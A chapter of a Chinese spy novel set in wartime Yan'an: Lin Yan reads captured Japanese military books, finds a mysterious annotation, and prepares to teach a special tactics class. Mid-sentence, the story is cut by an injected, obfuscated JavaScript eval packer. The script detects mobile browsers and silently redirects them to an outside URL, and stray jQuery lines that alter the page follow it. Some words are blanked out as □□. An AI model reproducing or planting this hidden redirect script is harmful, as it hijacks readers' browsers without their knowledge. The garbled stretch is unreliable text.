抗大图书馆比林晏想象的要大。


    不是指面积——只是一排五间连通的窑洞，加起来不过百来平米——而是指书。靠墙的书架是用粗糙木板钉成的，从地面一直垒到窑顶，塞满了各式各样的书：线装古籍、铅印新书、外文原版、手抄本、油印小册子……空气中弥漫着旧纸张、油墨和泥土混合的独特气味。


    林晏走进来时，一个戴着老花镜的管理员抬起头，从镜片上方打量他。


    “新来的？哪个单位的？”


    “教育委员会借调的，林晏。”林晏递上介绍信。


    管理员接过信，凑到窗前仔细看了，点点头：“秦科长打过招呼了。你想找什么书？”


    “军事理论类的，尤其是关于情报分析和战术思想的。还有……最近的内部讨论资料。”


    管理员指了指最里面的两排书架：“军事类的在那边。内部资料不能外借，只能在这里看，要登记。”他顿了顿，“你是写《时间战法》的那个林晏？”


    林晏一愣：“您知道？”


    “最近来借这本小册子的人不少。”管理员从柜台下拿出一本油印的《时间战法初探》，正是书店里卖的那种，“还有人专门来问作者是谁。年轻人，有点想法是好事，但也要注意分寸。”


    又是“注意分寸”。林晏已经第三次听到类似的提醒了。


    “我会注意的。谢谢。”


    他走到军事类书架前。书不算多，但种类很杂：有克劳塞维茨的《战争论》中译本（纸张发黄，显然是战前出版的），有中国古代的《孙子兵法》《武经总要》，有苏联的军事教材译本，还有一些八路军自己编写的战斗经验总结。


    林晏抽出一本《游击战术纲要》，翻开。这是1934年编写的，语言很朴实，多是实战经验的直接总结：“敌进我退，敌驻我扰，敌疲我打，敌退我追。”简单十六个字，蕴含着深刻的战争智慧。


    他把书放回去，继续浏览。在书架最底层，他发现了几本日文原版书——封面有日文标注，显然是缴获的。其中一本叫《□□战场之特殊战例研究》，另一本是《皇军步兵操典详解》。


    林晏心头一动。他懂一点日语，是大学时选修的，水平只能勉强看懂简单文字。但这两本书里可能有关于岛国军战术思维的宝贵资料。


    他抽出《□□战场之特殊战例研究》，翻开。书里用日文详细记录了几次战役，配有地图和伤亡统计。其中一章专门讲“对八路军游击战术之反制”，提到了几个关键点：


    “八路军善于利用地形，常设伏于隘口、桥梁、村落。”


    “其侦察活动有固定时间规律，可利用统计学方法预测。”


    “对于俘虏之八路军侦察兵，应重点审讯其训练内容及指挥体系。”


    最后一点让林晏后背发凉。敌人已经在系统性地研究八路军的训练和指挥体系了。而他的教材，如果落入敌手，会不会成为敌人反制的重要依据？


    他继续翻，在一页页日文记录中，突然看到一行用铅笔写的汉字旁注：


    “以上战例，皆可归因于时间规律之固化。若破此律，则反制失效。”


    字迹很轻，但笔锋有力。这不是书里的原文，是有人在阅读时写下的批注。


    林晏猛地抬起头，环顾图书馆。除了他和管理员，只有三个学员在远处看书，都低着头，很专注。


    他合上书，平复了一下心跳。然后拿着这本书和那本《时间战法初探》，走到靠窗的桌子前坐下。


    阳光从窑洞的窗户斜射进来，在粗糙的木桌面上投下明亮的光斑。林晏翻开日文书，找到那页批注，又翻开自己的小册子，对照着看。


    批注的思路，和他提出的“时间随机性”理论，惊人地吻合。甚至可以说，批注者比他更早意识到了这个问题。


    是谁？


    林晏仔细看那行字的笔迹。汉字写得很标准，但有些笔画带着日文书写习惯的痕迹——比如“之”字的最后一笔，有明显的顿挫。这很可能是一个懂中文的日本人写的，或者是一个在日本留学过、深受日文书写影响的中国人。


    他想起那封大卫·史密斯的信。那个写信的“学者”，会不会就是这个批注者？


    这个猜想让林晏感到一阵寒意。如果大卫·史密斯不仅读过他的小册子，还读过缴获的日文军事著作，并且得出了和他相似的结论……那这个人就太可怕了。他像一个冷静的观察者，同时站在交战双方的材料基础上，进行着超越立场的分析。


    林晏强迫自己冷静下来。他拿出笔记本，开始抄录那行批注，以及批注所在的章节内容。同时，他也在思考：这个批注是什么时候写的？书是什么时候缴获的？谁有机会在图书馆的书上写批注？


    “同志，这本书不能外借。”


    管理员的声音忽然响起。林晏抬起头，发现管理员不知何时走了过来，正看着他手里的日文书。


    “我知道，我只是在这里看看。”林晏说。


    “这种缴获资料，看的时候要特别注意。”管理员压低声音，“里面的内容……有些比较敏感。看完要放回原处，不要做记号，不要撕页。”


    “我明白。”林晏顿了顿，装作随意地问，“这本书放在这里多久了？好像很多人看过？”


    “去年秋天缴获的，放进来大概三个月吧。”管理员说，“来看的人不多，这种日文书，没几个人看得懂。倒是你这种年轻人，能看懂的更少。”


    话里有话。林晏听出了试探的意味。


    “我大学时学过一点日语，勉强能看。”他坦然说。


    “哦？哪个大学？”


    “燕京大学。”林晏说出沈擎苍给他伪造的背景。


    管理员点点头，没再问，转身回去了。


    林晏继续看书，但心思已经不在书上了。他在观察——观察图书馆里那三个学员，观察管理员，观察进出的人。


    一个小时后，那三个学员陆续离开。林晏也把书还了回去，登记了借阅记录——他借了几本公开的军事理论书和一本《边区经济统计年鉴》。


    走出图书馆时，已经是下午三点。冬日的阳光斜斜地照着黄土坡，抗大的学员们正在操场上进行军事训练，口号声此起彼伏。


    林晏沿着山坡往下走，心里反复想着那行批注。


    如果他猜得没错，大卫·史密斯——或者用这个代号的人——很可能就在延安，或者至少曾经来过延安。他能接触到缴获的日文资料，能在书上写批注，说明他有相当的权限和知识背景。


    这样的人，会是敌人吗？还是只是立场中立的学者？或者是……自己人？


    林晏想起秦科长的提醒：延安思想活跃，各种人都有。有真诚的革命者，有投机的知识分子，也有可能是潜伏的特务。


    他需要更谨慎。


    回到招待所，林晏开始整理今天的发现。他把那行批注抄在笔记本上，在旁边写下自己的分析：


    1. 批注者懂中日双语，很可能有日本留学背景。


    2. 批注思路与“时间随机性”理论高度吻合，说明此人军事理论水平很高。


    3. 批注时间应在最近三个月内（书入馆时间）。


    4. 此人能接触缴获资料，可能有特殊身份或权限。


    写完这些，林晏盯着那行字看了很久。然后，他翻开教材稿，找到关于“时间随机性”的章节，开始修改。


    原本的写法比较理论化，主要是讲“为什么要随机”和“怎么随机”。现在，他增加了一个实战案例部分——虚构了一个战例，讲八路军某连如何因为行动规律被敌人预判而遭伏击，又是如何通过改变时间规律反败为胜。


    但他故意在案例里埋了几个“陷阱”：比如，他提到这个连队“每逢单日晨六点换岗”，这是不符合八路军实际习惯的（八路军通常是拂晓和黄昏换岗）；又比如，他说连队使用“掷骰子决定出发时间”，但实际上在教材的其他部分，他推荐的是更隐蔽的随机方法（如观察云彩形状、听鸟叫声等）。


    这是沈擎苍教他的：当你不知道谁是内奸时，就在公开信息里埋下只有自己人能识破的“暗记”。如果这些错误信息出现在敌人的情报里，你就能顺藤摸瓜。


    修改完这一章，天色已经暗了。林晏点起油灯，继续工作。


    接下来的几天，他白天去抗大熟悉环境，见了几位□□，旁听了几节课；晚上就在招待所修改教材，准备特别班的教案。


    抗大的气氛确实很活跃。课堂上，学员们可以自由提问，甚至和□□争论；课后，各种讨论小组自发组织，话题从战术战法到哲学政治，无所不包。林晏参加了一个“军事科学研讨组”，听了几次讨论，发现学员们的思路很开阔，但也有些脱离实际的空谈。


    “林□□，您怎么看‘总体战’理论？”一次讨论后，一个戴眼镜的学员追出来问。这学员叫陈望，是从上海来的大学生，理论功底扎实，但缺乏实战经验。


    “理论很重要，但最终要落到实际。”林晏说，“比如你刚才提到的‘全民动员’，在理论上没错。但在实际中，怎么动员？怎么组织？老百姓最关心的是吃饭穿衣，你得先解决他们的实际困难，他们才会听你讲道理。”


    陈望若有所思：“所以您的教材里，专门有一册讲群众工作？”


    “对。因为在我看来，群众工作不是‘附属品’，是军事行动的基础。”林晏说，“没有老百姓的支持，游击队就是无根之木，再好的战术也用不出来。”


    “但有些同志认为，群众工作太‘软’，不如直接打仗来得痛快。”


    林晏停下脚步，看着这个年轻的学员：“你知道王家岭战斗吗？”


    陈望摇头。


    “那场战斗，我们连能赢，不是因为战术多高明，是因为老乡提前告诉我们鬼子要来的消息，还帮我们藏好了伤员。没有他们，我们可能全军覆没。”林晏缓缓说，“你说，这是‘软’还是‘硬’？”


    陈望沉默了。


    “战争是综合实力的较量，不只是枪炮。”林晏拍拍他的肩膀，“你理论学得好，这是优势。但有机会的话，去前线看看，和战士们聊聊，和老乡聊聊。理论要从土里长出来，不能从书本里抄出来。”


    这话是沈擎苍说的，现在林晏原封不动地传给了下一代。


    陈望用力点头：“谢谢林□□，我记住了。”


    类似这样的交流，林晏这几天经历了很多。他发现，延安的青年学生们有热情，有知识，但普遍缺乏对战争残酷性的真实认知，也缺乏对底层群众真实生活的了解。


    这让他更加坚定了教材的编写方向：必


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140737|196318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    须紧贴实际，必须能让一线战士用得上。


    周五下午，秦科长来找他。


    “特别班下周一开课，学员名单确定了。”秦科长递给他一份名单，“二十个人，一半是抗大的优秀学员，一半是从前线抽调的有经验的排连干部。你要教的，就是怎么把你那套理论，讲给这两类完全不同背景的人听。”


    林晏扫了一眼名单。抗大学员那边，陈望的名字果然在上面；前线干部那边，有几个名字他看着眼熟，应该是其他团的侦察骨干。


    “教学大纲我准备好了。”林晏拿出自己写的教案，“第一周讲基础概念和思维方法，第二周讲具体战术应用，第三周是案例分析和实战模拟。每周留两天讨论和作业。”


    秦科长翻了翻教案，点头：“思路可以。但我要提醒你，前线的那些老油子可不好教。他们打过仗，见过血，最烦纸上谈兵。你要是讲得太虚，他们可能会当场给你难堪。”


    “我准备了实际战例，很多是他们亲身经历过的。”林晏说，“我会从他们熟悉的情境入手，引导他们自己总结出理论。”


    “这方法好。”秦科长赞许地说，“让他们觉得自己‘发现’了理论，比直接灌输效果好得多。对了，还有件事——”


    他压低声音：“关于那个大卫·史密斯，我们查到一些线索。”


    林晏心里一紧。


    “这个人在北平学术界小有名气，美籍华裔，父亲是传教士，母亲是中国人。他在燕京大学教书，研究方向是文化比较和认知心理学。去年夏天，他申请来边区考察，得到了批准，在这里待了一个月。”


    “一个月？”林晏算了下时间，那差不多是教材开始编写的时候。


    “对。他去了几个地方，包括抗大图书馆。据接触过他的同志回忆，这个人很博学，对军事也有兴趣，问了不少关于八路军战术的问题。但他身份特殊，我们当时没有让他接触核心机密。”


    “那他怎么知道我的？”


    “这就是问题所在。”秦科长表情严肃，“你的教材内容，在当时还只是雏形，只在极小的范围内讨论过。按理说，他不可能知道得那么详细。”


    “除非……有人告诉他。”林晏说。


    秦科长点点头：“我们正在内部排查。但你要知道，这件事很敏感。在没有确凿证据前，不能轻易下结论。也许只是他在交流中听到了一些片段，然后自己推导出来的。”


    “但他的批注——”林晏差点说漏嘴，赶紧改口，“我是说，从他的信来看，他思考得很深入，不像是只听到片段。”


    “所以更要注意。”秦科长看着他，“林晏，你现在在延安，是在聚光灯下。有多少人欣赏你，就可能有多少人盯着你。说话做事，要加倍小心。”


    “我明白。”


    “特别班的教学，是你的本职工作，也是你的保护色。”秦科长说，“好好教课，做出成绩，让更多的人看到你的价值。这样，无论发生什么，你都有立足之地。”


    这话说得很直白，但林晏听懂了。在延安，贡献就是最好的护身符。


    “我会好好教的。”


    秦科长离开后，林晏独自在窑洞里坐了很久。


    窗外，夜色渐浓。延安的灯火星星点点，散落在各个山坡上，像倒映在地面的星空。远处传来隐约的歌声，是抗大学员们在晚自习前合唱《延安颂》。


    “夕阳辉耀着山头的塔影，


    月色映照着河边的流萤，


    春风吹遍了坦平的原野，


    群山结成了坚固的围屏。


    哦，延安！你这庄严雄伟的古城，


    到处传遍了抗战的歌声……”


    歌声嘹亮，充满了希望和力量。


    林晏走到窗边，看着这片在黑暗中闪烁着微光的土地。


    他知道，在这片光明的背后，有暗流在涌动。有大卫·史密斯这样身份神秘的观察者，有不知潜伏在何处的内奸，有对他理论持怀疑态度的同志，也有对他寄予厚望的首长。


    而他，站在明处，站在聚光灯下。


    这很危险。


    但他没有退路。


    沈擎苍在山西前线战斗，用生命实践着他提出的理论。那些战士们在学习他的教材，用鲜血检验他的方法。那些学员们在等待他的课程，希望学到能保命杀敌的本事。


    他不能退缩。


    林晏深吸一口气，关上了窗户。


    他回到桌前，翻开教案，继续修改。


    油灯的光晕很小，只能照亮桌面的方寸之地。但在这方寸之地上，他正在准备着下一场战斗——不是在战场，是在课堂；不是用枪炮，是用思想；不是为了消灭敌人，是为了让更多的人活下去，战斗下去，直到胜利的那一天。


    这就够了。


    他低下头，笔尖在纸上沙沙作响。


    窗外的歌声渐渐远去，夜色越来越深。但窑洞里的这盏油灯，一直亮到了很晚，很晚。


    像冰河下涌动的暗流，虽然看不见，但从未停止流动。


    像这片土地上无数个不眠的夜晚，无数盏亮到天明的灯。


    像这个时代，在最深的黑暗里，依然坚持燃烧的希望。


    林晏在写。


    他在准备。


    他在战斗。


    以他的方式。